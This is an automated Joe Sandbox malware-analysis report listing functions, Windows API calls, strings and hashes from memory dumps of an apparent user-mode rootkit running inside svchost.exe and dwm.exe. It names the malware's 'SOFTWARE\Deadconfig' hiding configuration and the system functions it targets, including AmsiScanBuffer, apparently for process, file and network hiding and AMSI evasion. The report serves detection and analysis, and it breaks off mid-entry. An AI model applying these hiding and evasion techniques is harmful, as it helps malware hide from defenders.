HeapAlloc.KERNEL32 ref: 000002BAAF211C74
GetProcessHeap.KERNEL32 ref: 000002BAAF211C9C
HeapFree.KERNEL32 ref: 000002BAAF211CAA

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction ID: c067f7acd1e89196e3783257391c205f8fe116815281dc24cc7a733d7dae8095
Opcode Fuzzy Hash: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction Fuzzy Hash: 9911E523A01B9081EE29CB66A418199B7F0FB88FE0F594324DE59937A4EF39C446C319

Function 000002BAAF211268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAF21126E
HeapAlloc.KERNEL32 ref: 000002BAAF21127D
GetProcessHeap.KERNEL32 ref: 000002BAAF211297
HeapAlloc.KERNEL32 ref: 000002BAAF2112A8

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction ID: 33f261878c44d454e83425e827665f9ee78fe2faec3ac6fabf0b33b90e647773
Opcode Fuzzy Hash: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction Fuzzy Hash: 5EE0E573A11A4086E7289FA2D82C35977F1FB88F59F49C024C94947360DF7E889DCBA1

Function 000002BAAF211000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAF211006
HeapAlloc.KERNEL32 ref: 000002BAAF211015
GetProcessHeap.KERNEL32 ref: 000002BAAF211028
HeapAlloc.KERNEL32 ref: 000002BAAF211037

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction ID: 3a36dc9d883d0a773f5fb6a36764178119422bf884d11d6e653b7a35f757bda8
Opcode Fuzzy Hash: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction Fuzzy Hash: 01E0E573611A4086E7289B62D81C35977B1FB88B15F488024C90947320EF3A889DCA21

Analysis Process: svchost.exePID: 364, Parent PID: 6968COMMON

Executed Functions

Function 0000026A879C3618 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000026A879C3631
PathFindFileNameW.SHLWAPI ref: 0000026A879C3640

Part of subcall function 0000026A879C3C70: StrCmpNIW.SHLWAPI(?,?,?,0000026A879C255A), ref: 0000026A879C3C88

Part of subcall function 0000026A879C3BB8: GetModuleHandleW.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3BC6
Part of subcall function 0000026A879C3BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3BF4
Part of subcall function 0000026A879C3BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3C16
Part of subcall function 0000026A879C3BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3C34
Part of subcall function 0000026A879C3BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3C55

CreateThread.KERNELBASE ref: 0000026A879C3687

Part of subcall function 0000026A879C1D3C: GetCurrentThread.KERNEL32 ref: 0000026A879C1D47

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction ID: d249b8c202dba67d1c12177d8936cd461ac81744c8d677bc50c9ae3a3067656e
Opcode Fuzzy Hash: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction Fuzzy Hash: D9111E70620A0191FFE4E721E61E36E3EA0B7D4345F914525A90EA76D4EF7BC1049E43

Function 0000026A87992AB8 Relevance: 1.7, APIs: 1, Instructions: 241libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000026A87992C29

Memory Dump Source

Source File: 00000011.00000003.1826644218.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_26a87990000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction ID: cce1f8fd494d7c5da3516ac30c7d3aad8bbb15db083c4b173f88d7174963e4c4
Opcode Fuzzy Hash: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction Fuzzy Hash: 9991257370129187FBA4CF25D048B6DF3A1FB58B98F5481259F4A677C8EA39D882CB01

Function 0000026A879C1AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000026A879C1628: GetProcessHeap.KERNEL32 ref: 0000026A879C1633
Part of subcall function 0000026A879C1628: HeapAlloc.KERNEL32 ref: 0000026A879C1642
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16B2
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DF
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C16F9
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1719
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1734
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1754
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C176F
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C178F
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C17AA
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17CA

SleepEx.KERNELBASE ref: 0000026A879C1AE3

Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C17E5
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1805
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1820
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1840
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C185B
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C187B
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1896
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C18A0

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction ID: ab7a3a034934e83ce29a6f4a8018a5758a01cdf26d228072accfee8b63593364
Opcode Fuzzy Hash: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction Fuzzy Hash: 352106F524060181FFD0DB27DD4937D77A8ABC4BD1F0454219E0DA779AFE26C4518E1A

Non-executed Functions

Function 0000026A879C81B0 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000026A879C81CC
RtlCaptureContext.NTDLL ref: 0000026A879C81F9
RtlLookupFunctionEntry.NTDLL ref: 0000026A879C8213
RtlVirtualUnwind.NTDLL ref: 0000026A879C8254
IsDebuggerPresent.KERNEL32 ref: 0000026A879C82A8
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879C82C9
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879C82D4

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction ID: 4409cc66789f406f2718870ee03800d9059c48ef06f2607548e2fb15f8da2a2e
Opcode Fuzzy Hash: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction Fuzzy Hash: 64315D72205B80C6EBA0CF60E8947DD7BA0F794745F44402ADA4E57A94EF39C648CB15

Function 0000026A879CB62C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000026A879CB6A5
RtlLookupFunctionEntry.NTDLL ref: 0000026A879CB6BD
RtlVirtualUnwind.NTDLL ref: 0000026A879CB6F8
IsDebuggerPresent.KERNEL32 ref: 0000026A879CB731
SetUnhandledExceptionFilter.KERNEL32 ref: 0000026A879CB73B
UnhandledExceptionFilter.KERNEL32 ref: 0000026A879CB746

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction ID: 908291b3a408f0758c0ce19692a0e1cfe9b9511c256f66aa3b66fbc447404f85
Opcode Fuzzy Hash: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction Fuzzy Hash: 0F315E36214F8096EBA0CF25E88879E7BA4F7C8758F540116EA8D53BA8DF39C245CB01

Function 0000026A879D0018 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000026A879D0087
WriteFile.KERNEL32 ref: 0000026A879D033E
WriteFile.KERNEL32 ref: 0000026A879D0390
GetLastError.KERNEL32 ref: 0000026A879D0492
GetLastError.KERNEL32 ref: 0000026A879D04F2

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction ID: ac27a3fc08b5370a634217c466886b5af74a28ca7089373f9386d229a843f4ae
Opcode Fuzzy Hash: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction Fuzzy Hash: 9EE1F072B14B808AEB40CF68D4886DD7FB1F385788F148156DF6E67B99EA39C416CB01

Function 0000026A8799B150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000026A8799B180

Strings

*?, xrefs: 0000026A8799B1A7
HIJKLMNOPQRSTUVWXYZ, xrefs: 0000026A8799B503

Memory Dump Source

Source File: 00000011.00000003.1826644218.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_26a87990000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 6be0a7d52cd647924b152b17570311229073571efb6daca2de889de03a8cecf2
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: 3851E172711B9486FF64CFA698097AD37A1F758BE8F844525EE0D27B85EA3AC041C701

Function 0000026A879C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1633
HeapAlloc.KERNEL32 ref: 0000026A879C1642

Part of subcall function 0000026A879C1268: GetProcessHeap.KERNEL32 ref: 0000026A879C126E
Part of subcall function 0000026A879C1268: HeapAlloc.KERNEL32 ref: 0000026A879C127D
Part of subcall function 0000026A879C1268: GetProcessHeap.KERNEL32 ref: 0000026A879C1297
Part of subcall function 0000026A879C1268: HeapAlloc.KERNEL32 ref: 0000026A879C12A8

Part of subcall function 0000026A879C1000: GetProcessHeap.KERNEL32 ref: 0000026A879C1006
Part of subcall function 0000026A879C1000: HeapAlloc.KERNEL32 ref: 0000026A879C1015
Part of subcall function 0000026A879C1000: GetProcessHeap.KERNEL32 ref: 0000026A879C1028
Part of subcall function 0000026A879C1000: HeapAlloc.KERNEL32 ref: 0000026A879C1037

RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16B2
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DF
RegCloseKey.ADVAPI32 ref: 0000026A879C16F9
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1719
RegCloseKey.ADVAPI32 ref: 0000026A879C1734
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1754
RegCloseKey.ADVAPI32 ref: 0000026A879C176F
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C178F
RegCloseKey.ADVAPI32 ref: 0000026A879C17AA
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17CA
RegCloseKey.ADVAPI32 ref: 0000026A879C17E5
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1805
RegCloseKey.ADVAPI32 ref: 0000026A879C1820
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1840
RegCloseKey.ADVAPI32 ref: 0000026A879C185B
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C187B
RegCloseKey.ADVAPI32 ref: 0000026A879C1896
RegCloseKey.ADVAPI32 ref: 0000026A879C18A0

Part of subcall function 0000026A879C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1319
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C1327
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C1338
Part of subcall function 0000026A879C12BC: RegEnumValueW.ADVAPI32 ref: 0000026A879C1397
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C13DF
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C13ED
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C140A
Part of subcall function 0000026A879C12BC: HeapFree.KERNEL32 ref: 0000026A879C1418
Part of subcall function 0000026A879C12BC: lstrlenW.KERNEL32 ref: 0000026A879C1421
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C142F
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C143D

Strings

paths, xrefs: 0000026A879C1788
tcp_remote, xrefs: 0000026A879C1839
startup, xrefs: 0000026A879C16D5
pid, xrefs: 0000026A879C1712
service_names, xrefs: 0000026A879C17C3
udp, xrefs: 0000026A879C1874
process_names, xrefs: 0000026A879C174D
tcp_local, xrefs: 0000026A879C17FE
SOFTWARE\Deadconfig, xrefs: 0000026A879C1692

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3864762265
Opcode ID: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction ID: 148b937f8c3847ee0b9c210a683df85fe69a89f9778e3f6ddfdabf39c176c33d
Opcode Fuzzy Hash: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction Fuzzy Hash: 51713876310A10D6EB90DF26E88869C3FB4FB88B89F405111DE4D63B68EF3AC454CB45

Function 0000026A879C1D3C Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000026A879C1D47

Part of subcall function 0000026A879C20C0: GetModuleHandleA.KERNEL32(?,?,?,0000026A879C1D79), ref: 0000026A879C20D8
Part of subcall function 0000026A879C20C0: GetProcAddress.KERNEL32(?,?,?,0000026A879C1D79), ref: 0000026A879C20E9

Part of subcall function 0000026A879C5F50: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5F8B

Strings

PdhGetFormattedCounterArrayW, xrefs: 0000026A879C1EB9
advapi32.dll, xrefs: 0000026A879C1E1F, 0000026A879C1E40
NtQueryDirectoryFileEx, xrefs: 0000026A879C1DC4
amsi.dll, xrefs: 0000026A879C1EE1
ntdll.dll, xrefs: 0000026A879C1D55
EnumServicesStatusExW, xrefs: 0000026A879C1E39, 0000026A879C1E5A
pdh.dll, xrefs: 0000026A879C1E9F, 0000026A879C1EC0
NtEnumerateKey, xrefs: 0000026A879C1DE1
NtDeviceIoControlFile, xrefs: 0000026A879C1E7E
AmsiScanBuffer, xrefs: 0000026A879C1EDA
NtQueryDirectoryFile, xrefs: 0000026A879C1DA7
NtResumeThread, xrefs: 0000026A879C1D8A
PdhGetRawCounterArrayW, xrefs: 0000026A879C1E98
NtEnumerateValueKey, xrefs: 0000026A879C1DFE
NtQuerySystemInformation, xrefs: 0000026A879C1D6D
sechost.dll, xrefs: 0000026A879C1E61
EnumServiceGroupW, xrefs: 0000026A879C1E18

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction ID: 9e0e29bd579a548e3cdc1013655345b337472a76a9df8295ccf8e469ac00ce0e
Opcode Fuzzy Hash: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction Fuzzy Hash: 2141A0B0111A4AA4FE84EB68ED597DC3F26E784358FC440139409371759E3ACA9EDFA3

Function 0000026A879C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1319
GetProcessHeap.KERNEL32 ref: 0000026A879C1327
HeapAlloc.KERNEL32 ref: 0000026A879C1338
RegEnumValueW.ADVAPI32 ref: 0000026A879C1397

Part of subcall function 0000026A879C152C: StrCmpIW.SHLWAPI ref: 0000026A879C155D

GetProcessHeap.KERNEL32 ref: 0000026A879C13DF
HeapAlloc.KERNEL32 ref: 0000026A879C13ED
GetProcessHeap.KERNEL32 ref: 0000026A879C140A
HeapFree.KERNEL32 ref: 0000026A879C1418
lstrlenW.KERNEL32 ref: 0000026A879C1421
GetProcessHeap.KERNEL32 ref: 0000026A879C142F
HeapAlloc.KERNEL32 ref: 0000026A879C143D
StrCpyW.SHLWAPI ref: 0000026A879C145F
GetProcessHeap.KERNEL32 ref: 0000026A879C1476
HeapFree.KERNEL32 ref: 0000026A879C1484

Strings

d, xrefs: 0000026A879C135A

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction ID: c72e3c920d632f96ad27a50e707b994269e20189d712d4fd065d8c0dcd9fa37d
Opcode Fuzzy Hash: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction Fuzzy Hash: 63512972614B85C6EB94CF62E44C35EBBA1F788B99F448124DA4D57B58EF3DC049CB01

Function 0000026A87996D30 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A87996D58
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A87996DAA
_RTC_Initialize.LIBCMT ref: 0000026A87996DD8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A87996DFE
__scrt_release_startup_lock.LIBCMT ref: 0000026A87996E29

Strings

bad array new length, xrefs: 0000026A87996E5B

Memory Dump Source

Source File: 00000011.00000003.1826644218.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_26a87990000_svchost.jbxd

Similarity

